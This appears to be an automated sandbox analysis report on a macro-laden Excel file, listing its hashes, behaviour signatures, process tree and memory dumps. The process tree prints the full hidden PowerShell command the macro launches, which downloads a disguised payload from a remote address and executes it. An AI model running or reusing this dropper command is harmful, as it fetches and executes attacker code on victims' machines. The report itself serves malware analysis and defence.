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Analysis

  • max time kernel
    37s
  • max time network
    58s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/10/2022, 16:19

General

  • Target

    book-test.xlsm

  • Size

    13KB

  • MD5

    9ea38cbd4b972be01563192fb495614f

  • SHA1

    98edf0787a561c176a2a303064207ddd82b2965b

  • SHA256

    b4201061a4b9961d16e83c58207ac5087e2e46187c6dff64250731d45bb0b90c

  • SHA512

    463830b10d512e4fe0909c51e55005e21e660493a80cb87aa43e22cd30c08b2d3eb93743813e0d8d67b7d57f7036b3cf3de563ea8b64e30ef3cd8ff1723bc5dc

  • SSDEEP

    192:EtJWseqxGvThVkikaFUlbVvevUqzZSVtg/XKfS34Obx/eqd/611cqGGFuxTDa9:EtJ7yTkqUlM9z+fekqd/oNSG9

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.233.129:80/sample-image.jpeg

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\book-test.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c "$code=(New-Object System.Net.Webclient).DownloadString('http://192.168.233.129:80/sample-image.jpeg'); iex 'powershell -E $code'"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4200
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 460 -p 3320 -ip 3320
    1⤵
      PID:4324
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3320 -s 488
      1⤵
      • Program crash
      PID:4792

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4200-140-0x000001D7CE7E0000-0x000001D7CE802000-memory.dmp

      Filesize

      136KB

    • memory/4200-141-0x00007FFC8FBD0000-0x00007FFC90691000-memory.dmp

      Filesize

      10.8MB

    • memory/4956-132-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

      Filesize

      64KB

    • memory/4956-133-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

      Filesize

      64KB

    • memory/4956-134-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

      Filesize

      64KB

    • memory/4956-136-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

      Filesize

      64KB

    • memory/4956-135-0x00007FFC794B0000-0x00007FFC794C0000-memory.dmp

      Filesize

      64KB

    • memory/4956-137-0x00007FFC773B0000-0x00007FFC773C0000-memory.dmp

      Filesize

      64KB

    • memory/4956-138-0x00007FFC773B0000-0x00007FFC773C0000-memory.dmp

      Filesize

      64KB